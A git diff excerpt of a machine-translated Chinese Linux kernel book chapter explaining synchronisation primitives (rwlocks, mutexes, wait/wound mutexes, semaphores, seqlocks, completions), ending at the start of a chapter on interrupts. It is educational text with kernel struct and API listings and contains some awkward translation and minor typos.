实现通过在为共享数据访问而竞争的并发代码路径之间强制执行标准互斥来保护共享数据。这种形式的排除不适用于保护共享数据,共享数据通常由并发代码路径读取,写入或更新不频繁。读取器-写入器锁强制读取器和写入器路径之间的排除;这允许并发读取器共享锁,当写入器拥有锁时,读取器任务需要等待锁。Rw 锁强制并发写入器之间的标准排除,这是所期望的。 - -Rw 锁由内核头``中声明的`struct rwlock_t`表示: - -```sh -typedef struct { - arch_rwlock_t raw_lock; -#ifdef CONFIG_GENERIC_LOCKBREAK - unsigned int break_lock; -#endif -#ifdef CONFIG_DEBUG_SPINLOCK - unsigned int magic, owner_cpu; - void *owner; -#endif -#ifdef CONFIG_DEBUG_LOCK_ALLOC - struct lockdep_map dep_map; -#endif -} rwlock_t; -``` - -rwlocks 可以通过宏`DEFINE_RWLOCK(v_rwlock)`静态初始化,也可以通过`rwlock_init(v_rwlock)`在运行时动态初始化。 - -读取器代码路径将需要调用`read_lock`例程。 - -```sh -read_lock(&v_rwlock); -/* critical section with read only access to shared data */ -read_unlock(&v_rwlock); -``` - -编写器代码路径使用以下内容: - -```sh -write_lock(&v_rwlock); -/* critical section for both read and write */ -write_unlock(&v_lock); -``` - -当争用锁时,读和写锁例程都会旋转。该界面还提供了称为`read_trylock()`和`write_trylock()`的锁定功能的非旋转版本。它还提供了中断禁用版本的锁定调用,当读或写路径碰巧在中断或下半部分上下文中执行时,这很方便。 - -以下是接口操作的汇总列表: - -| **功能** | **描述** | -| `read_lock()` | 标准读锁定接口,争用旋转 | -| `read_trylock()` | 尝试获取锁,如果锁不可用,则返回错误 | -| `read_lock_bh()` | 试图通过暂停本地 CPU 的 BH 执行来获取锁定,在争用时旋转 | -| `read_lock_irqsave()` | 试图通过保存本地中断的当前状态来暂停当前 CPU 的中断来获取锁定,在争用时旋转 | -| `read_unlock()` | 释放读锁定 | -| `read_unlock_irqrestore()` | 释放锁定,并将本地中断恢复到以前的状态 | -| `read_unlock_bh()` | 释放读锁定并在本地处理器上启用 BH | -| `write_lock()` | 标准写锁接口,争用时旋转 | -| `write_trylock()` | 尝试获取锁,在争用时返回错误 | -| `write_lock_bh()` | 试图通过挂起本地 CPU 的下半部分来获取写锁定,会因争用而旋转 | -| `wrtie_lock_irqsave()` | 试图通过保存本地中断的当前状态来暂停本地 CPU 的中断,从而获取写锁定。在争论中旋转 | -| `write_unlock()` | 释放写锁定 | -| `write_unlock_irqrestore()` | 释放锁定并将本地中断恢复到以前的状态 | -| `write_unlock_bh()` | 释放写锁定并在本地处理器上启用 BH | - -所有这些操作的底层调用类似于自旋锁实现,可以在前面提到的自旋锁部分指定的头中找到。 - -# 互斥锁 - -自旋锁在设计上更适合于*锁*保持短的固定时间间隔的情况,因为*忙等待*无限期将对系统性能产生可怕的影响。然而,有大量的情况是*锁*被保持更长的、不确定的持续时间;**睡眠锁**正是为这种情况而设计的。内核互斥体是睡眠锁的一种实现:当调用者任务试图获取一个不可用的互斥体(已经被另一个上下文所拥有)时,它会进入睡眠状态,并被移出到等待队列中,迫使上下文切换,从而允许 CPU 运行其他生产性任务。当互斥体变得可用时,等待队列中的任务被互斥体的解锁路径唤醒并移动,然后互斥体可以尝试*锁定*互斥体。 - -互斥由`struct mutex`表示,在`include/linux/mutex.h`中定义,在源文件`kernel/locking/mutex.c`中实现相应的操作: - -```sh - struct mutex { - atomic_long_t owner; - spinlock_t wait_lock; - #ifdef CONFIG_MUTEX_SPIN_ON_OWNER - struct optimistic_spin_queue osq; /* Spinner MCS lock */ - #endif - struct list_head wait_list; - #ifdef CONFIG_DEBUG_MUTEXES - void *magic; - #endif - #ifdef CONFIG_DEBUG_LOCK_ALLOC - struct lockdep_map dep_map; - #endif - }; -``` - -在其基本形式中,每个互斥体包含一个 64 位`atomic_long_t`计数器(`owner`),该计数器用于保持锁状态,并存储对拥有锁的当前任务的任务结构的引用。每个互斥体包含一个等待队列(`wait_list`)和一个旋转锁(`wait_lock`)来序列化对`wait_list`的访问。 - -互斥 API 接口提供了一组用于初始化、锁定、解锁和访问互斥状态的宏和函数。这些操作界面在``中定义。 - -互斥体可以用宏`DEFINE_MUTEX(name)`声明和初始化。 - -还有一个通过`mutex_init(mutex)`动态初始化有效互斥体的选项。 - -如前所述,在争用时,锁定操作会使调用线程进入睡眠状态,这要求调用线程在进入互斥等待列表之前进入`TASK_INTERRUPTIBLE`、`TASK_UNINTERRUPTIBLE`或`TASK_KILLABLE`状态。为了支持这一点,互斥实现提供了锁操作的两种变体,一种用于**不间断**,另一种用于**可中断**睡眠。以下是标准互斥操作列表,并对每个操作进行了简短描述: - -```sh -/** - * mutex_lock - acquire the mutex - * @lock: the mutex to be acquired - * - * Lock the mutex exclusively for this task. If the mutex is not - * available right now, Put caller into Uninterruptible sleep until mutex - * is available. - */ - void mutex_lock(struct mutex *lock); - -/** - * mutex_lock_interruptible - acquire the mutex, interruptible - * @lock: the mutex to be acquired - * - * Lock the mutex like mutex_lock(), and return 0 if the mutex has - * been acquired else put caller into interruptible sleep until the mutex - * until mutex is available. Return -EINTR if a signal arrives while sleeping - * for the lock. - */ - int __must_check mutex_lock_interruptible(struct mutex *lock); /** - * mutex_lock_Killable - acquire the mutex, interruptible - * @lock: the mutex to be acquired - * - * Similar to mutex_lock_interruptible(),with a difference that the call - * returns -EINTR only when fatal KILL signal arrives while sleeping for the - * lock. - */ - int __must_check mutex_lock_killable(struct mutex *lock); /** - * mutex_trylock - try to acquire the mutex, without waiting - * @lock: the mutex to be acquired - * - * Try to acquire the mutex atomically. Returns 1 if the mutex - * has been acquired successfully, and 0 on contention. - * - */ - int mutex_trylock(struct mutex *lock); /** - * atomic_dec_and_mutex_lock - return holding mutex if we dec to 0, - * @cnt: the atomic which we are to dec - * @lock: the mutex to return holding if we dec to 0 - * - * return true and hold lock if we dec to 0, return false otherwise. Please - * note that this function is interruptible. - */ - int atomic_dec_and_mutex_lock(atomic_t *cnt, struct mutex *lock); -/** - * mutex_is_locked - is the mutex locked - * @lock: the mutex to be queried - * - * Returns 1 if the mutex is locked, 0 if unlocked. - */ - static inline int mutex_is_locked(struct mutex *lock); /** - * mutex_unlock - release the mutex - * @lock: the mutex to be released - * - * Unlock the mutex owned by caller task. - * - */ - void mutex_unlock(struct mutex *lock); -``` - -尽管可能会阻塞调用,但互斥锁函数已经针对性能进行了极大的优化。它们被编程为在尝试锁定捕获时采用快速和慢速路径方法。让我们探索一下锁定调用的代码,以便更好地理解快速路径和慢速路径。以下代码节选自``的`mutex_lock()`例程: - -```sh -void __sched mutex_lock(struct mutex *lock) -{ - might_sleep(); - - if (!__mutex_trylock_fast(lock)) - __mutex_lock_slowpath(lock); -} -``` - -首先通过调用非阻塞快速路径调用`__mutex_trylock_fast()`来尝试获取锁。如果由于争用而无法获得锁定,则通过调用`__mutex_lock_slowpath()`进入慢速路径: - -```sh -static __always_inline bool __mutex_trylock_fast(struct mutex *lock) -{ - unsigned long curr = (unsigned long)current; - - if (!atomic_long_cmpxchg_acquire(&lock->owner, 0UL, curr)) - return true; - - return false; -} -``` - -该功能被编程为自动获取锁(如果可用)。它调用`atomic_long_cmpxchg_acquire()`宏,该宏试图将当前线程分配为互斥体的所有者;如果互斥体可用,该操作将成功,在这种情况下,函数返回`true`。如果其他线程拥有互斥锁,这个函数将失败并返回`false`。失败时,调用线程将进入慢速路径例程。 - -按照惯例,慢路径的概念一直是让调用者任务进入睡眠状态,同时等待锁变得可用。然而,随着多核 CPU 的出现,对可伸缩性和改进性能的需求越来越大,因此,为了实现可伸缩性,互斥体慢速路径实现已经通过一种称为**乐观旋转**的优化进行了返工,也称为**中间路径**,这可以显著提高性能*。* - -乐观旋转的核心思想是,当发现互斥体所有者正在运行时,将竞争任务推进轮询或旋转,而不是休眠。一旦互斥体变得可用(预计会更快,因为发现拥有者正在运行),假设与互斥体等待列表中的挂起或休眠任务相比,旋转任务总是能够更快地获取互斥体。然而,只有在就绪状态下没有其他更高优先级的任务时,这种旋转才有可能。有了这个特性,旋转任务更有可能是高速缓存热的,从而导致确定性的执行,产生显著的性能改进: - -```sh -static int __sched -__mutex_lock(struct mutex *lock, long state, unsigned int subclass, - struct lockdep_map *nest_lock, unsigned long ip) -{ - return __mutex_lock_common(lock, state, subclass, nest_lock, ip, NULL, false); -} - -... -... -... - -static noinline void __sched __mutex_lock_slowpath(struct mutex *lock) -{ - __mutex_lock(lock, TASK_UNINTERRUPTIBLE, 0, NULL, _RET_IP_); -} - -static noinline int __sched -__mutex_lock_killable_slowpath(struct mutex *lock) -{ - return __mutex_lock(lock, TASK_KILLABLE, 0, NULL, _RET_IP_); -} - -static noinline int __sched -__mutex_lock_interruptible_slowpath(struct mutex *lock) -{ - return __mutex_lock(lock, TASK_INTERRUPTIBLE, 0, NULL, _RET_IP_); -} - -``` - -`__mutex_lock_common()`函数包含一个带有乐观旋转的慢速路径实现;这个例程由互斥锁函数的所有休眠变体调用,并以适当的标志作为参数。该函数首先尝试通过乐观旋转获取互斥体,乐观旋转是通过与互斥体相关联的可取消 mcs 自旋锁(【互斥体结构中的 T1】字段)实现的。当调用者任务无法通过乐观旋转获取互斥体时,作为最后的手段,该功能切换到常规的慢速路径,导致调用者任务进入睡眠状态,并排队进入互斥体`wait_list`,直到被解锁路径唤醒。 - -# 调试检查和验证 - -互斥操作的不正确使用会导致死锁、排除失败等等。为了检测和防止这种可能发生的情况,互斥子系统配备了适当的检查或验证工具,用于互斥操作。这些检查在默认情况下是禁用的,并且可以通过在内核构建期间选择配置选项`CONFIG_DEBUG_MUTEXES=y`来启用。 - -以下是由检测调试代码强制执行的检查列表: - -* 在给定的时间点,互斥体可以由一个任务拥有 -* 互斥体只能由有效的所有者释放(解锁),不拥有锁的上下文释放互斥体的尝试将失败 -* 递归锁定或解锁尝试将失败 -* 互斥体只能通过初始化器调用来初始化,任何对*记忆集*互斥体的尝试都不会成功 -* 持有互斥锁时,调用方任务可能不会退出 -* 不得释放持有锁所在的动态内存区域 -* 互斥体可以初始化一次,任何重新初始化已经初始化的互斥体的尝试都将失败 -* 互斥体不能用于硬/软中断上下文例程 - -死锁可能由于许多原因而触发,例如内核代码的执行模式和对锁定调用的粗心使用。例如,让我们考虑一种情况,其中并发代码路径需要通过嵌套锁定函数来获得 *L 1* 和 *L 2* 锁的所有权。必须确保所有需要这些锁的内核函数都被编程为以相同的顺序获取它们。当没有严格执行这样的顺序时,总是有两个不同的函数试图以相反的顺序锁定 *L1* 和 *L2* ,当这些函数同时执行时,这可能会触发锁定反转死锁。 - -内核锁验证器基础设施已经实现,以检查并证明在内核运行时观察到的锁定模式都不会导致死锁。该基础结构打印与锁定模式相关的数据,例如: - -* 获取点跟踪、函数名的符号查找以及系统中所有锁的列表 -* 所有者跟踪 -* 检测自递归锁并打印出所有相关信息 -* 检测锁反转死锁并打印出所有受影响的锁和任务 - -可以通过在内核构建期间选择`CONFIG_PROVE_LOCKING=y`来启用锁验证器。 - -# 等待/缠绕互斥体 - -如前一节所述,内核函数中无序的嵌套锁定可能会带来锁反转死锁的风险,内核开发人员通过定义嵌套锁排序规则并通过锁验证器基础结构执行运行时检查来避免这种情况。然而,在有些情况下,锁的排序是动态的,嵌套的锁调用不能被硬编码或者按照预想的规则强加。 - -一个这样的用例是关于 GPU 缓冲区的;这些缓冲区将由各种系统实体拥有和访问,例如 GPU 硬件、GPU 驱动程序、用户模式应用和其他视频相关驱动程序。用户模式上下文可以以任意顺序提交 dma 缓冲区进行处理,GPU 硬件可以在任意时间处理它们。如果使用锁定来控制缓冲区的所有权,并且必须同时操作多个缓冲区,则无法避免死锁。等待/缠绕互斥体旨在促进嵌套锁的动态排序,而不会导致锁反转死锁。这是通过强制竞争中的上下文*绕过*来实现的,这意味着强制它释放保持锁。 - -例如,让我们假设两个缓冲区,每个缓冲区用一个锁保护,并进一步考虑两个线程,比如`T1`和`T` `2`,通过以相反的顺序尝试锁来寻求缓冲区的所有权: - -```sh -Thread T1 Thread T2 -=========== ========== -lock(bufA); lock(bufB); -lock(bufB); lock(bufA); - .... .... - .... .... -unlock(bufB); unlock(bufA); -unlock(bufA); unlock(bufB); -``` - -并发执行`T1`和`T2`可能会导致每个线程等待另一个线程持有的锁,从而导致死锁。等待/缠绕互斥体通过让首先抓住锁的*线程*保持睡眠,等待嵌套锁可用,来防止这种情况。另一根线被*缠绕*,使其松开握持锁,重新开始。假设`T1`在`T2`能够锁定`bufB`之前锁定了`bufA`。`T1`将被认为是*最先到达*并被`bufB`锁定而休眠的线,`T2`将被缠绕,导致其释放`bufB`上的锁定并重新开始。这避免了死锁,`T2`将在`T1`释放锁定时重新开始。 - -# 操作界面: - -等待/缠绕互斥体通过标题``中定义的`struct ww_mutex`表示: - -```sh -struct ww_mutex { - struct mutex base; - struct ww_acquire_ctx *ctx; -# ifdef CONFIG_DEBUG_MUTEXES - struct ww_class *ww_class; -#endif -}; -``` - -使用等待/缠绕互斥的第一步是定义一个*类,*,这是一种表示一组锁的机制。当并发任务争用相同的锁时,它们必须通过指定这个类来争用。 - -可以使用宏定义一个类: - -```sh -static DEFINE_WW_CLASS(bufclass); -``` - -每个声明的类都是类型`struct ww_class`的一个实例,并包含一个原子计数器`stamp`,用于保存一个序列号,该序列号记录哪个竞争任务*先到达那里*。内核的锁验证器使用其他字段来验证等待/缠绕机制的正确使用。 - -```sh -struct ww_class { - atomic_long_t stamp; - struct lock_class_key acquire_key; - struct lock_class_key mutex_key; - const char *acquire_name; - const char *mutex_name; -}; -``` - -每个竞争线程必须在尝试嵌套锁定调用之前调用`ww_acquire_init()`。这通过为跟踪锁分配一个序列号来设置上下文。 - -```sh -/** - * ww_acquire_init - initialize a w/w acquire context - * @ctx: w/w acquire context to initialize - * @ww_class: w/w class of the context - * - * Initializes a context to acquire multiple mutexes of the given w/w class. - * - * Context-based w/w mutex acquiring can be done in any order whatsoever - * within a given lock class. Deadlocks will be detected and handled with the - * wait/wound logic. - * - * Mixing of context-based w/w mutex acquiring and single w/w mutex locking - * can result in undetected deadlocks and is so forbidden. Mixing different - * contexts for the same w/w class when acquiring mutexes can also result in - * undetected deadlocks, and is hence also forbidden. Both types of abuse will - * will be caught by enabling CONFIG_PROVE_LOCKING. - * - */ - void ww_acquire_init(struct ww_acquire_ctx *ctx, struct ww_clas *ww_class); -``` - -一旦设置并初始化了上下文,任务就可以通过`ww_mutex_lock()`或`ww_mutex_lock_interruptible()`调用开始获取锁: - -```sh -/** - * ww_mutex_lock - acquire the w/w mutex - * @lock: the mutex to be acquired - * @ctx: w/w acquire context, or NULL to acquire only a single lock. - * - * Lock the w/w mutex exclusively for this task. - * - * Deadlocks within a given w/w class of locks are detected and handled with - * wait/wound algorithm. If the lock isn't immediately available this function - * will either sleep until it is(wait case) or it selects the current context - * for backing off by returning -EDEADLK (wound case).Trying to acquire the - * same lock with the same context twice is also detected and signalled by - * returning -EALREADY. Returns 0 if the mutex was successfully acquired. - * - * In the wound case the caller must release all currently held w/w mutexes - * for the given context and then wait for this contending lock to be - * available by calling ww_mutex_lock_slow. - * - * The mutex must later on be released by the same task that - * acquired it. The task may not exit without first unlocking the mutex.Also, - * kernel memory where the mutex resides must not be freed with the mutex - * still locked. The mutex must first be initialized (or statically defined) b - * before it can be locked. memset()-ing the mutex to 0 is not allowed. The - * mutex must be of the same w/w lock class as was used to initialize the - * acquired context. - * A mutex acquired with this function must be released with ww_mutex_unlock. - */ - int ww_mutex_lock(struct ww_mutex *lock, struct ww_acquire_ctx *ctx); - -/** - * ww_mutex_lock_interruptible - acquire the w/w mutex, interruptible - * @lock: the mutex to be acquired - * @ctx: w/w acquire context - * - */ - int ww_mutex_lock_interruptible(struct ww_mutex *lock, - struct ww_acquire_ctx *ctx); -``` - -当一个任务抓取与一个类相关联的所有嵌套锁(使用这些锁定例程中的任何一个)时,它需要使用函数`ww_acquire_done()`通知所有权的获取。该调用标志着采集阶段的结束,任务可以继续处理共享数据: - -```sh -/** - * ww_acquire_done - marks the end of the acquire phase - * @ctx: the acquire context - * - * Marks the end of the acquire phase, any further w/w mutex lock calls using - * this context are forbidden. - * - * Calling this function is optional, it is just useful to document w/w mutex - * code and clearly designated the acquire phase from actually using the - * locked data structures. - */ - void ww_acquire_done(struct ww_acquire_ctx *ctx); -``` - -当任务完成对共享数据的处理后,它可以开始释放所有持有的锁,调用`ww_mutex_unlock(`例程。一旦所有锁被释放,*上下文*必须通过调用`ww_acquire_fini()`来释放: - -```sh -/** - * ww_acquire_fini - releases a w/w acquire context - * @ctx: the acquire context to free - * - * Releases a w/w acquire context. This must be called _after_ all acquired - * w/w mutexes have been released with ww_mutex_unlock. - */ - void ww_acquire_fini(struct ww_acquire_ctx *ctx); -``` - -# 旗语 - -在 2.6 内核版本发布之前,信号量是睡眠锁的主要形式。典型的信号量实现包括计数器、等待队列和一组可以自动递增/递减计数器的操作。 - -当信号量用于保护共享资源时,其计数器被初始化为大于零的数字,这被认为是解锁状态。寻求访问共享资源的任务从调用信号量上的减量操作开始。这个调用检查信号量计数器;如果发现大于零,计数器递减,函数返回成功。但是,如果发现计数器为零,减量操作将调用方任务置于睡眠状态,直到发现计数器增加到大于零的数字。 - -这种简单的设计提供了极大的灵活性,允许信号量在不同情况下的适应性和应用。例如,对于资源需要在任何时间点被特定数量的任务访问的情况,信号量计数可以被初始化为需要访问的任务数量,比如 10,这允许在任何时间最多 10 个任务访问共享资源。对于其他情况,例如许多需要互斥访问共享资源的任务,信号量计数可以初始化为 1,导致在任何给定时间点最多有一个任务访问资源。 - -信号量结构及其接口操作在内核头``中声明: - -```sh -struct semaphore { - raw_spinlock_t lock; - unsigned int count; - struct list_head wait_list; -}; -``` - -自旋锁(T0)字段用作`count`的保护,也就是说,信号量操作(inc/dec)被编程为在操纵`count`之前获取`lock`。`wait_list`用于在任务等待信号量计数增加到零以上时,将任务排队等待睡眠。 - -信号量可以通过一个宏来声明和初始化为 1:`DEFINE_SEMAPHORE(s)`。 - -信号量也可以通过以下方式动态初始化为任意正数: - -```sh -void sema_init(struct semaphore *sem, int val) -``` - -以下是操作界面列表,并对每个界面进行了简要描述。具有命名约定`down_xxx()`的例程试图减少信号量,并且可能阻塞调用(除了`down_trylock()`,而例程`up()`增加信号量并且总是成功: - -```sh -/** - * down_interruptible - acquire the semaphore unless interrupted - * @sem: the semaphore to be acquired - * - * Attempts to acquire the semaphore. If no more tasks are allowed to - * acquire the semaphore, calling this function will put the task to sleep. - * If the sleep is interrupted by a signal, this function will return -EINTR. - * If the semaphore is successfully acquired, this function returns 0. - */ - int down_interruptible(struct semaphore *sem); /** - * down_killable - acquire the semaphore unless killed - * @sem: the semaphore to be acquired - * - * Attempts to acquire the semaphore. If no more tasks are allowed to - * acquire the semaphore, calling this function will put the task to sleep. - * If the sleep is interrupted by a fatal signal, this function will return - * -EINTR. If the semaphore is successfully acquired, this function returns - * 0. - */ - int down_killable(struct semaphore *sem); /** - * down_trylock - try to acquire the semaphore, without waiting - * @sem: the semaphore to be acquired - * - * Try to acquire the semaphore atomically. Returns 0 if the semaphore has - * been acquired successfully or 1 if it it cannot be acquired. - * - */ - int down_trylock(struct semaphore *sem); /** - * down_timeout - acquire the semaphore within a specified time - * @sem: the semaphore to be acquired - * @timeout: how long to wait before failing - * - * Attempts to acquire the semaphore. If no more tasks are allowed to - * acquire the semaphore, calling this function will put the task to sleep. - * If the semaphore is not released within the specified number of jiffies, - * this function returns -ETIME. It returns 0 if the semaphore was acquired. - */ - int down_timeout(struct semaphore *sem, long timeout); /** - * up - release the semaphore - * @sem: the semaphore to release - * - * Release the semaphore. Unlike mutexes, up() may be called from any - * context and even by tasks which have never called down(). - */ - void up(struct semaphore *sem); -``` - -与互斥实现不同,信号量操作不支持调试检查或验证;这种限制是由于它们固有的通用设计,允许它们用作排除锁、事件通知计数器等。自从互斥体进入内核(2.6.16)以来,信号量不再是排除的首选,信号量作为锁的使用已经大大减少,为了其他目的,内核有了替代接口。大多数使用信号量的内核代码都被转换成了互斥体,只有少数例外。然而信号量仍然存在,并且可能会一直存在,至少直到所有使用它们的内核代码都被转换成互斥体或其他合适的接口。 - -# 读写信号量 - -这个接口是睡眠读写排除的一个实现,作为旋转读写排除的替代。读写信号量由`struct rw_semaphore`表示,在内核头``中声明: - -```sh -struct rw_semaphore { - atomic_long_t count; - struct list_head wait_list; - raw_spinlock_t wait_lock; -#ifdef CONFIG_RWSEM_SPIN_ON_OWNER - struct optimistic_spin_queue osq; /* spinner MCS lock */ - /* - * Write owner. Used as a speculative check to see - * if the owner is running on the cpu. - */ - struct task_struct *owner; -#endif -#ifdef CONFIG_DEBUG_LOCK_ALLOC - struct lockdep_map dep_map; -#endif -}; -``` - -该结构与互斥体相同,设计支持`osq`乐观旋转;它还包括通过内核的*锁定程序*的调试支持。`Count`用作排除计数器,设置为 1,允许一个时间点最多有一个写入程序拥有锁。这是可行的,因为互斥只在竞争的作者之间执行,任何数量的读者都可以同时共享读锁。`wait_lock`是一个保护信号量`wait_list`的自旋锁。 - -一个`rw_semaphore`可以通过`DECLARE_RWSEM(name)`进行静态实例化和初始化,也可以通过`init_rwsem(sem)`进行动态初始化。 - -与 rw-spin lock 的情况一样,该接口也为读取器和写入器路径中的锁获取提供了不同的例程。以下是接口操作列表: - -```sh -/* reader interfaces */ - void down_read(struct rw_semaphore *sem); - void up_read(struct rw_semaphore *sem); -/* trylock for reading -- returns 1 if successful, 0 if contention */ - int down_read_trylock(struct rw_semaphore *sem); - void up_read(struct rw_semaphore *sem); - -/* writer Interfaces */ - void down_write(struct rw_semaphore *sem); - int __must_check down_write_killable(struct rw_semaphore *sem); - -/* trylock for writing -- returns 1 if successful, 0 if contention */ - int down_write_trylock(struct rw_semaphore *sem); - void up_write(struct rw_semaphore *sem); -/* downgrade write lock to read lock */ - void downgrade_write(struct rw_semaphore *sem); - -/* check if rw-sem is currently locked */ - int rwsem_is_locked(struct rw_semaphore *sem); - -``` - -这些操作在源文件``中实现;该代码是非常不言自明的,我们不会进一步讨论它。 - -# 顺序锁 - -传统的读取器-写入器锁被设计为具有读取器优先级,并且它们可能导致写入器任务等待非确定性的持续时间,这可能不适合具有时间敏感更新的共享数据。这就是顺序锁派上用场的地方,因为它旨在提供对共享资源的快速和无锁访问。当需要保护的资源既小又简单,写访问又快又不频繁时,顺序锁是最好的,因为内部顺序锁依赖于自旋锁原语。 - -顺序锁引入了一个特殊的计数器,每当编写器获得一个顺序锁和一个自旋锁时,该计数器就会递增。写入程序完成后,它会释放自旋锁并再次递增计数器,并为其他写入程序打开访问权限。对于 read,有两种类型的读取器:序列读取器和锁定读取器。**序列读取器**在计数器进入临界区之前检查计数器,然后在计数器结束时再次检查,而不会阻塞任何写入器。如果计数器保持不变,则意味着在读取期间没有写入程序访问过该部分,但是如果该部分末尾的计数器增加,则表明写入程序已经访问过该部分,这要求读取器重新读取关键部分以获取更新的数据。A **锁定阅读器**,顾名思义,在进行中会获得一个锁,并屏蔽其他阅读器和作者;当另一个锁定读取器或写入器正在进行时,它也会等待。 - -序列锁由以下类型表示: - -```sh -typedef struct { - struct seqcount seqcount; - spinlock_t lock; -} seqlock_t; -``` - -我们可以使用以下宏静态初始化序列锁: - -```sh -#define DEFINE_SEQLOCK(x) \ - seqlock_t x = __SEQLOCK_UNLOCKED(x) -``` - -实际初始化使用`__SEQLOCK_UNLOCKED(x)`完成,这里定义为: - -```sh -#define __SEQLOCK_UNLOCKED(lockname) \ - { \ - .seqcount = SEQCNT_ZERO(lockname), \ - .lock = __SPIN_LOCK_UNLOCKED(lockname) \ - } -``` - -要动态初始化序列锁,我们需要使用`seqlock_init`宏,定义如下: - -```sh - #define seqlock_init(x) \ - do { \ - seqcount_init(&(x)->seqcount); \ - spin_lock_init(&(x)->lock); \ - } while (0) -``` - -# 应用接口 - -Linux 提供了很多使用序列锁的 API,在``中有定义。这里列出了一些重要的问题: - -```sh -static inline void write_seqlock(seqlock_t *sl) -{ - spin_lock(&sl->lock); - write_seqcount_begin(&sl->seqcount); -} - -static inline void write_sequnlock(seqlock_t *sl) -{ - write_seqcount_end(&sl->seqcount); - spin_unlock(&sl->lock); -} - -static inline void write_seqlock_bh(seqlock_t *sl) -{ - spin_lock_bh(&sl->lock); - write_seqcount_begin(&sl->seqcount); -} - -static inline void write_sequnlock_bh(seqlock_t *sl) -{ - write_seqcount_end(&sl->seqcount); - spin_unlock_bh(&sl->lock); -} - -static inline void write_seqlock_irq(seqlock_t *sl) -{ - spin_lock_irq(&sl->lock); - write_seqcount_begin(&sl->seqcount); -} - -static inline void write_sequnlock_irq(seqlock_t *sl) -{ - write_seqcount_end(&sl->seqcount); - spin_unlock_irq(&sl->lock); -} - -static inline unsigned long __write_seqlock_irqsave(seqlock_t *sl) -{ - unsigned long flags; - - spin_lock_irqsave(&sl->lock, flags); - write_seqcount_begin(&sl->seqcount); - return flags; -} -``` - -以下两个功能用于开始和结束阅读部分的阅读: - -```sh -static inline unsigned read_seqbegin(const seqlock_t *sl) -{ - return read_seqcount_begin(&sl->seqcount); -} - -static inline unsigned read_seqretry(const seqlock_t *sl, unsigned start) -{ - return read_seqcount_retry(&sl->seqcount, start); -} -``` - -# 完成锁 - -**完成锁**如果需要一个或多个执行线程来等待某个事件的完成,比如等待另一个进程到达某个点或状态,那么完成锁是实现代码同步的有效方法。完成锁可能比信号量更受欢迎,原因有二:多个执行线程可以等待完成,使用`complete_all()`,它们可以同时被释放。这比信号量唤醒多个线程要好得多。其次,如果等待线程释放同步对象,信号量会导致竞争条件;使用 completion 时不存在这个问题。 - -可以通过包含``和创建类型为`struct completion`的变量来使用完成,这是一种用于保持完成状态的不透明结构。它使用先进先出来排队等待完成事件的线程: - -```sh -struct completion { - unsigned int done; - wait_queue_head_t wait; -}; -``` - -完成基本上包括初始化完成结构,等待通过`wait_for_completion()`调用的任何变体,最后通过`complete()`或`complete_all()`调用发出完成信号。还有一些函数可以在生命周期内检查完成的状态。 - -# 初始化 - -以下宏可用于完成结构的静态声明和初始化: - -```sh -#define DECLARE_COMPLETION(work) \ - struct completion work = COMPLETION_INITIALIZER(work) -``` - -以下内联函数将初始化动态创建的完成结构: - -```sh -static inline void init_completion(struct completion *x) -{ - x->done = 0; - init_waitqueue_head(&x->wait); -} -``` - -如果需要重用完成结构,将使用以下内联函数来重新初始化它。这可以在`complete_all()`之后使用: - -```sh -static inline void reinit_completion(struct completion *x) -{ - x->done = 0; -} -``` - -# 等待完成 - -如果任何线程需要等待任务完成,它会在初始化的完成结构上调用`wait_for_completion()`。如果`wait_for_completion`操作发生在调用`complete()`或`complete_all()`之后,线程简单地继续,因为它想要等待的原因已经满足;否则,它将等待`complete()`发出信号。`wait_for_completion()`呼叫有多种变体: - -```sh -extern void wait_for_completion_io(struct completion *); -extern int wait_for_completion_interruptible(struct completion *x); -extern int wait_for_completion_killable(struct completion *x); -extern unsigned long wait_for_completion_timeout(struct completion *x, - unsigned long timeout); -extern unsigned long wait_for_completion_io_timeout(struct completion *x, - unsigned long timeout); -extern long wait_for_completion_interruptible_timeout( - struct completion *x, unsigned long timeout); -extern long wait_for_completion_killable_timeout( - struct completion *x, unsigned long timeout); -extern bool try_wait_for_completion(struct completion *x); -extern bool completion_done(struct completion *x); - -extern void complete(struct completion *); -extern void complete_all(struct completion *); -``` - -# 信令完成 - -想要发出预期任务完成信号的执行线程调用`complete()`到一个等待线程,以便它可以继续。线程将以排队的相同顺序被唤醒。在多个服务员的情况下,它调用`complete_all()`: - -```sh -void complete(struct completion *x) -{ - unsigned long flags; - - spin_lock_irqsave(&x->wait.lock, flags); - if (x->done != UINT_MAX) - x->done++; - __wake_up_locked(&x->wait, TASK_NORMAL, 1); - spin_unlock_irqrestore(&x->wait.lock, flags); -} -EXPORT_SYMBOL(complete); -void complete_all(struct completion *x) -{ - unsigned long flags; - - spin_lock_irqsave(&x->wait.lock, flags); - x->done = UINT_MAX; - __wake_up_locked(&x->wait, TASK_NORMAL, 0); - spin_unlock_irqrestore(&x->wait.lock, flags); -} -EXPORT_SYMBOL(complete_all); -``` - -# 摘要 - -在这一章中,我们不仅理解了内核提供的各种保护和同步机制,还对这些选项的有效性及其各种功能和缺点进行了潜在的尝试。我们从这一章中得到的启示是内核在提供数据保护和同步时处理这些不同复杂性的坚韧。另一个值得注意的事实是,在处理这些问题时,内核保持了编码的简易性和设计的华丽。 - -在下一章中,我们将研究内核如何处理中断的另一个重要方面。 \ No newline at end of file diff --git a/docs/master-linux-kernel-dev/09.md b/docs/master-linux-kernel-dev/09.md deleted file mode 100644 index a879f569..00000000 --- a/docs/master-linux-kernel-dev/09.md +++ /dev/null @@ -1,846 +0,0 @@ -# 九、中断和延迟 - -**中断**是传送到处理器的电信号,指示需要立即关注的重大事件的发生。这些信号可以来自外部硬件(连接到系统)或处理器内的电路。在本章中,我们将研究内核的中断管理子系统,并探讨以下内容: - -* 可编程中断控制器 -* 中断向量表 -* 伊尔克斯 -* IRQ 芯片和 IRQ 描述符 -* 注册和注销中断处理程序 -* 线路控制操作 -* IRQ 堆栈 -* 对延迟例程的需求 -* 软中断 -* 小任务 -* 工作队列 - -# 中断信号和向量 - -当中断来自外部设备时,它被称为**硬件中断**。这些信号由外部硬件产生,以在发生重大外部事件时引起处理器的注意,例如键盘上的键击、鼠标按钮上的点击或移动鼠标触发硬件中断,通过这些硬件中断通知处理器要读取的数据的可用性。硬件中断相对于处理器时钟异步发生(意味着它们可以在随机时间发生),因此也被称为**异步中断**。 - -由于当前正在执行的程序指令产生的事件而从中央处理器内部触发的中断被称为**软件中断**。软件中断由当前正在执行的程序指令触发的**异常**或引发中断的特权指令的执行引起。例如,当一条程序指令试图将一个数除以 0 